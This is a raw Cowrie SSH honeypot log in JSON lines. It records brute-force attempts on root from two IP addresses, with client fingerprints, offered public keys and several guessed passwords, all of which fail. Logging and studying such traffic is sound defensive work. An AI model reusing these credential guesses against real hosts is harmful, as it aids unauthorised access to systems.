{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:36:07.439737Z","src_ip":"60.165.124.241","session":"4947c586d5ed","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"a88888888","message":"login attempt [root/a88888888] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:36:08.161119Z","src_ip":"60.165.124.241","session":"4947c586d5ed","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:36:09.400907Z","src_ip":"60.165.124.241","session":"4947c586d5ed","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":35432,"dst_ip":"10.17.0.5","dst_port":22,"session":"d809ec35bfb0","protocol":"ssh","message":"New connection: 60.165.124.241:35432 (10.17.0.5:22) [session: d809ec35bfb0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:36:09.651504Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:36:09.655936Z","src_ip":"60.165.124.241","session":"d809ec35bfb0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:36:10.611209Z","src_ip":"60.165.124.241","session":"d809ec35bfb0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"netwitness","message":"login attempt [root/netwitness] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:36:12.090360Z","src_ip":"60.165.124.241","session":"d809ec35bfb0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"74.48.5.133","src_port":41078,"dst_ip":"10.17.0.5","dst_port":22,"session":"7207803c5270","protocol":"ssh","message":"New connection: 74.48.5.133:41078 (10.17.0.5:22) [session: 7207803c5270]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:36:13.327897Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:36:13.332933Z","src_ip":"74.48.5.133","session":"7207803c5270","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:36:13.423565Z","src_ip":"74.48.5.133","session":"7207803c5270","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"1f:42:0c:14:94:da:87:28:13:10:90:8e:90:d5:aa:d9","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDNeAcN/hmo4/lE05+o4SMis2j5U0RAtboyslyjWuYC2bsMUsYWCEGiXtjwHt7kduYZqsFcB65rmYo5rI2RWP6QqsgdwPjoqOTphTbgLQo3DvmJrT65Vj6y9aP415HsG4qAg71z9QxX+xV1yRzUwgtIe4RNdGZCDZchCJmhmTfoq/w4y1B6zXzhrRXFTlM68ZE8wRKg0H9Vbr2wYFVh2Nyw07W8VIKO+2V48+DoGSJq3NMQroWnX50bCl2M+grIN8awkG8ARyGn1Q4I7lf5+SIEmP5qzyxZPt7FrnN8buDmYP68x6YluByrGJWH1shffims+1QxYckQ3++x55q5OKfF","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 1f:42:0c:14:94:da:87:28:13:10:90:8e:90:d5:aa:d9","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:36:13.742245Z","src_ip":"74.48.5.133","session":"7207803c5270","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"1f:42:0c:14:94:da:87:28:13:10:90:8e:90:d5:aa:d9","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDNeAcN/hmo4/lE05+o4SMis2j5U0RAtboyslyjWuYC2bsMUsYWCEGiXtjwHt7kduYZqsFcB65rmYo5rI2RWP6QqsgdwPjoqOTphTbgLQo3DvmJrT65Vj6y9aP415HsG4qAg71z9QxX+xV1yRzUwgtIe4RNdGZCDZchCJmhmTfoq/w4y1B6zXzhrRXFTlM68ZE8wRKg0H9Vbr2wYFVh2Nyw07W8VIKO+2V48+DoGSJq3NMQroWnX50bCl2M+grIN8awkG8ARyGn1Q4I7lf5+SIEmP5qzyxZPt7FrnN8buDmYP68x6YluByrGJWH1shffims+1QxYckQ3++x55q5OKfF","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:36:13.746552Z","src_ip":"74.48.5.133","session":"7207803c5270","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"ab:f1:e6:7c:b1:8f:47:f3:05:f9:33:9d:40:b9:ab:55","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCssuma7ttNj+zac2GuXfsjOHfl8flnkXIU06W+DDVHYJj1joG6WUzLeVu202yYI9/9jmKZ8cXo9D1Kh10PDlzVywb6kVUm50NO3Gx1ZYb8mWYEHlIP93e9R2AtSzH8TYUaCeVB0j8Oifny3cceOjXrQo9ZWrHfbkIzKO17mKOTtMfVhKGPtBsY2Hr9/5MVp8o4aQTZx00N0SHTrldxEWlfWdZrNWx85ikKK9F/zUb7vnAZOWgrKkyvAzAD4WX3BaPLoHG6O6GOO5AppQEIUm1JRsUH1x8jAVCMW/IXruMWVWIRXO8SfO2OgjG42SJ9m8gkxq6UMbVSkwFuLxShjuqN2dEjk2lbbXdULSXYIoBfh0Epf14rh70N1f3R9mOEkzUPHmj4Oi1CT/3wcMukDUBQ+MZjxJJx52bFiOaeDVTeFkw0yNds8y3jkifDVH4Yilh73wzeCChgbj64cTSSQ5KCzBQ3JytUvPrWr2tKcxVVWLZ2zsp8YWARePyTpd/61BwahLvdLQaFrj/9CgLdUZZyrP5FB2PBfDJ+bQoFOdXuhmvvbKQQsYz8GhHr+nVieoAE+3sPdZb+w2uNzKnZG7qlT10UtRuWCEtKfLTvTHXE4imifpxkjw7c2lXtKMP6FklWDgV+ns6PeXVB5EmkQ99cHSl1UsE8ax1to/7WQUKN9w==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint ab:f1:e6:7c:b1:8f:47:f3:05:f9:33:9d:40:b9:ab:55","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:36:13.815444Z","src_ip":"74.48.5.133","session":"7207803c5270","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"ab:f1:e6:7c:b1:8f:47:f3:05:f9:33:9d:40:b9:ab:55","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCssuma7ttNj+zac2GuXfsjOHfl8flnkXIU06W+DDVHYJj1joG6WUzLeVu202yYI9/9jmKZ8cXo9D1Kh10PDlzVywb6kVUm50NO3Gx1ZYb8mWYEHlIP93e9R2AtSzH8TYUaCeVB0j8Oifny3cceOjXrQo9ZWrHfbkIzKO17mKOTtMfVhKGPtBsY2Hr9/5MVp8o4aQTZx00N0SHTrldxEWlfWdZrNWx85ikKK9F/zUb7vnAZOWgrKkyvAzAD4WX3BaPLoHG6O6GOO5AppQEIUm1JRsUH1x8jAVCMW/IXruMWVWIRXO8SfO2OgjG42SJ9m8gkxq6UMbVSkwFuLxShjuqN2dEjk2lbbXdULSXYIoBfh0Epf14rh70N1f3R9mOEkzUPHmj4Oi1CT/3wcMukDUBQ+MZjxJJx52bFiOaeDVTeFkw0yNds8y3jkifDVH4Yilh73wzeCChgbj64cTSSQ5KCzBQ3JytUvPrWr2tKcxVVWLZ2zsp8YWARePyTpd/61BwahLvdLQaFrj/9CgLdUZZyrP5FB2PBfDJ+bQoFOdXuhmvvbKQQsYz8GhHr+nVieoAE+3sPdZb+w2uNzKnZG7qlT10UtRuWCEtKfLTvTHXE4imifpxkjw7c2lXtKMP6FklWDgV+ns6PeXVB5EmkQ99cHSl1UsE8ax1to/7WQUKN9w==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:36:13.819518Z","src_ip":"74.48.5.133","session":"7207803c5270","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"1b:dc:25:ba:aa:9d:5f:c1:f3:a6:9c:7d:cd:66:23:43","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDxIpZdyJ3no0bzIU2XzI8N7z8mQKoVxqN2e3bgmn9TJanUkXl4aLIx5t6oxFziU3IW0OIk0NsyV8k5BX8+8do9/mgSdQB/P6ZC5FvjRmqHaKbHgANMyUk7Xvx24DHHb2Q2jKCzegmuoyBVf/H8nHzYwf+s23DexcUIL3wJ+a/vgU5F1wkK8Gtt5v0hv3lQhIhi5wvaQwDtVFoh3XBLMRE8f43gkdpAeZjSnQZOktmjMWo/6QXJLsXE1XCJwtu342nD6FTKbKIWZVKIvPHGkIYypLu2uINHGtkE+Ky0V0FC2YEWwO0omgcKUYsT9wH6I5YoXdY5X97US09eyyzYP4v/","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 1b:dc:25:ba:aa:9d:5f:c1:f3:a6:9c:7d:cd:66:23:43","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:36:13.890625Z","src_ip":"74.48.5.133","session":"7207803c5270","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"1b:dc:25:ba:aa:9d:5f:c1:f3:a6:9c:7d:cd:66:23:43","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDxIpZdyJ3no0bzIU2XzI8N7z8mQKoVxqN2e3bgmn9TJanUkXl4aLIx5t6oxFziU3IW0OIk0NsyV8k5BX8+8do9/mgSdQB/P6ZC5FvjRmqHaKbHgANMyUk7Xvx24DHHb2Q2jKCzegmuoyBVf/H8nHzYwf+s23DexcUIL3wJ+a/vgU5F1wkK8Gtt5v0hv3lQhIhi5wvaQwDtVFoh3XBLMRE8f43gkdpAeZjSnQZOktmjMWo/6QXJLsXE1XCJwtu342nD6FTKbKIWZVKIvPHGkIYypLu2uINHGtkE+Ky0V0FC2YEWwO0omgcKUYsT9wH6I5YoXdY5X97US09eyyzYP4v/","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:36:13.894261Z","src_ip":"74.48.5.133","session":"7207803c5270","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.3","message":"Connection lost after 4.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:36:13.939448Z","src_ip":"60.165.124.241","session":"d809ec35bfb0","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"c1:27:8f:43:46:c7:06:78:c5:f4:91:b1:5d:2c:fd:a4","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC+WbOQO7NVbH4bDm2rnxpL9BMYX5a6kgrhuRjJpuWlopgsvG1ZnoN3DeekUv+OsDGsV/nAYgaIS4A4LYpObJ5UUjEWKff/G0JlXY9qnX7J0TaFljaVCBkU3EVfQPXQC0RNMeBAKHVkp0d+f1WD9Coa/E3zWdHpl0S6H2GifH4mKI64VJvANHuCYYmucnuj1otzSWeRRmKghuM7JxhJ9g0V6ktS3ecMYUoTX4tj4vVGVc5cBptiT6aK+sKv7yr1MxO0FX1bGtCSrtxYXnFZlyRsFpW59yLrhhMo6Pw64hMfB3yAvo79VMA3FdO/dv7gjNdpdJ33tSYke0tqMnthtq3l","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint c1:27:8f:43:46:c7:06:78:c5:f4:91:b1:5d:2c:fd:a4","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:36:13.963955Z","src_ip":"74.48.5.133","session":"7207803c5270","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"c1:27:8f:43:46:c7:06:78:c5:f4:91:b1:5d:2c:fd:a4","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC+WbOQO7NVbH4bDm2rnxpL9BMYX5a6kgrhuRjJpuWlopgsvG1ZnoN3DeekUv+OsDGsV/nAYgaIS4A4LYpObJ5UUjEWKff/G0JlXY9qnX7J0TaFljaVCBkU3EVfQPXQC0RNMeBAKHVkp0d+f1WD9Coa/E3zWdHpl0S6H2GifH4mKI64VJvANHuCYYmucnuj1otzSWeRRmKghuM7JxhJ9g0V6ktS3ecMYUoTX4tj4vVGVc5cBptiT6aK+sKv7yr1MxO0FX1bGtCSrtxYXnFZlyRsFpW59yLrhhMo6Pw64hMfB3yAvo79VMA3FdO/dv7gjNdpdJ33tSYke0tqMnthtq3l","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:36:13.968095Z","src_ip":"74.48.5.133","session":"7207803c5270","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"bf:3c:fe:36:ad:2e:64:94:d0:80:60:be:77:4a:1b:31","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDeEVC6zpcwSY+6UY4XklJ0t2RoUElQqyw6wOxBUVkISk0jQ9JRtrOUJgvaSd9Zxm+MWPCq/Ek/7Ohf0JKVFMq2qzQxbOA4vQa7YtL06V6MrTx1katmjLBoz1p+e6b0LICJ0aGX7ElakZcZNLkrF7DfB5N5aDIxM7046k/turCFeeHPBHW/2XsmXE4JHViPyySNch2B6HkEno8pVdLdhIJFXgIiVr6w7ucmC7mV61IhKFHy30LCLhbc0jM2o6+6HrHSqvMrqbR0tQTEqZVEQjZH2vnGRgWr75mnOORgQoNBc6+rGuop7fHLeVVb6l0C1ysxDc88W8GJeuxcznUudjod","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint bf:3c:fe:36:ad:2e:64:94:d0:80:60:be:77:4a:1b:31","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:36:14.037509Z","src_ip":"74.48.5.133","session":"7207803c5270","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"bf:3c:fe:36:ad:2e:64:94:d0:80:60:be:77:4a:1b:31","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDeEVC6zpcwSY+6UY4XklJ0t2RoUElQqyw6wOxBUVkISk0jQ9JRtrOUJgvaSd9Zxm+MWPCq/Ek/7Ohf0JKVFMq2qzQxbOA4vQa7YtL06V6MrTx1katmjLBoz1p+e6b0LICJ0aGX7ElakZcZNLkrF7DfB5N5aDIxM7046k/turCFeeHPBHW/2XsmXE4JHViPyySNch2B6HkEno8pVdLdhIJFXgIiVr6w7ucmC7mV61IhKFHy30LCLhbc0jM2o6+6HrHSqvMrqbR0tQTEqZVEQjZH2vnGRgWr75mnOORgQoNBc6+rGuop7fHLeVVb6l0C1ysxDc88W8GJeuxcznUudjod","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:36:14.040994Z","src_ip":"74.48.5.133","session":"7207803c5270","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:36:14.111046Z","src_ip":"74.48.5.133","session":"7207803c5270","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":41230,"dst_ip":"10.17.0.5","dst_port":22,"session":"9c9ba578dd95","protocol":"ssh","message":"New connection: 60.165.124.241:41230 (10.17.0.5:22) [session: 9c9ba578dd95]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:36:14.164626Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:36:14.169831Z","src_ip":"60.165.124.241","session":"9c9ba578dd95","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:36:14.408103Z","src_ip":"60.165.124.241","session":"9c9ba578dd95","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"firewall","message":"login attempt [root/firewall] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:36:15.818316Z","src_ip":"60.165.124.241","session":"9c9ba578dd95","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.9","message":"Connection lost after 2.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:36:17.057956Z","src_ip":"60.165.124.241","session":"9c9ba578dd95","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":44580,"dst_ip":"10.17.0.5","dst_port":22,"session":"12b91549be38","protocol":"ssh","message":"New connection: 60.165.124.241:44580 (10.17.0.5:22) [session: 12b91549be38]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:36:18.293312Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:36:18.299117Z","src_ip":"60.165.124.241","session":"12b91549be38","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:36:18.541847Z","src_ip":"60.165.124.241","session":"12b91549be38","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"adminroot","message":"login attempt [root/adminroot] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:36:19.943605Z","src_ip":"60.165.124.241","session":"12b91549be38","protocol":"ssh"}
